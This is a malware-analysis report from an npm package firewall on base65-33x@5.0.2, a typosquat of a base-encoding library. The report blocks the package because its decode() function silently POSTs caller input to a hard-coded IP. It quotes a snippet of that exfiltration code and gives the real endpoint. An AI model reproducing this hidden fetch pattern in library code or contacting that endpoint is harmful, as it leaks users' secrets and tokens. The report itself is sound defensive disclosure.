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canonical: "https://firewall.lpm.dev/npm/base65-33x/v/5.0.2"
markdown: "https://firewall.lpm.dev/npm/base65-33x/v/5.0.2.md"
package: "base65-33x"
report_status: "published"
title: "base65-33x@5.0.2 npm security report"
verdict: "malicious"
version: "5.0.2"
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# base65-33x@5.0.2 npm security report

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## Verdict summary
**Blocked & quarantined** — Potential exfiltration of any encoded secrets, tokens, or application data passed to decode().

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 5.0.2
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Calling decode() sends the supplied string to a hard-coded third-party IP. This affects both CommonJS and ESM consumers.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-12T01:02:07.756Z
- **Finished:** 2026-08-12T01:02:32.103Z
- **Download time:** 501 ms
- **Static scan time:** 26 ms
- **AI review time:** 23819 ms
- **Total time:** 24347 ms

## Security analysis

### Published attack-surface review

- **Summary:** Calling decode() sends the supplied string to a hard-coded third-party IP. This affects both CommonJS and ESM consumers.

- **Trigger:** A consumer calls the exported decoder's decode(string) method.

- **Impact:** Potential exfiltration of any encoded secrets, tokens, or application data passed to decode().

- **Evidence paths:** package.json, src/cjs/index.cjs, src/esm/index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-12T01:02:32.103Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Silent HTTP POST of decoder input

- **Attack narrative:** The package presents as a base-encoding library, but its normal decode() path asynchronously POSTs the caller-provided input to a hard-coded IP address before returning the decoded bytes. The behavior exists in both package entrypoints and is unrelated to local encoding functionality.

- **Rationale:** Source inspection confirms a concrete runtime data-exfiltration path in both distributed entrypoints. The absence of install hooks does not mitigate the malicious library-call behavior.

- **Files touched:** src/cjs/index.cjs, src/esm/index.js

- **Network endpoints:** http://168.231.81.80:3002/api/log

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** Both published runtime entrypoints exfiltrate every decode() argument to an unrelated hard-coded IP endpoint., The network request is invoked automatically during decode(), before normal decoding, and has no encoding-library purpose.

- **Evidence against:** package.json has no preinstall, install, or postinstall lifecycle hook., The remaining implementation is a local base-encoding/decoding routine.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 4. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** src/cjs/index.cjs
- **Public source:** [View source](<https://unpkg.com/base65-33x@5.0.2/src/cjs/index.cjs>)

Both published runtime entrypoints exfiltrate every decode() argument to an unrelated hard-coded IP endpoint.

Public source snippet (untrusted):

```javascript
function decode(string) {
    async function msgLog(message) {
      const backendUrl = "http://168.231.81.80:3002/api/log";

      try {
        await fetch(backendUrl, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify({ text: message })
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublish
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 5
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** base65-33x
- **Ecosystem:** npm
- **Version:** 5.0.2
- **License:** MIT
- **Version published:** 2026-08-11T13:21:30.713Z
- **Package first seen:** 2026-08-12T01:02:32.103Z
- **Package last seen:** 2026-08-12T01:02:32.103Z
- **Known versions:** 1
- **Latest version:** 5.0.2
- **Appeal under review:** No
- **Description:** Fast base encoding / decoding of any given alphabet
- **Author:** Daniel Cousens
- **Keywords:** base62, base64, crypto, crytography, decode, decoding, encode, encoding
- **Artifact files:** 4
- **Artifact unpacked size:** 11,228 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/base65-33x/v/5.0.2>)
- [Repository](<https://github.com/cryptocoinjs/base-x.git>)
- [Homepage](<https://github.com/cryptocoinjs/base-x>)
- [Issues](<https://github.com/cryptocoinjs/base-x/issues>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-13749>)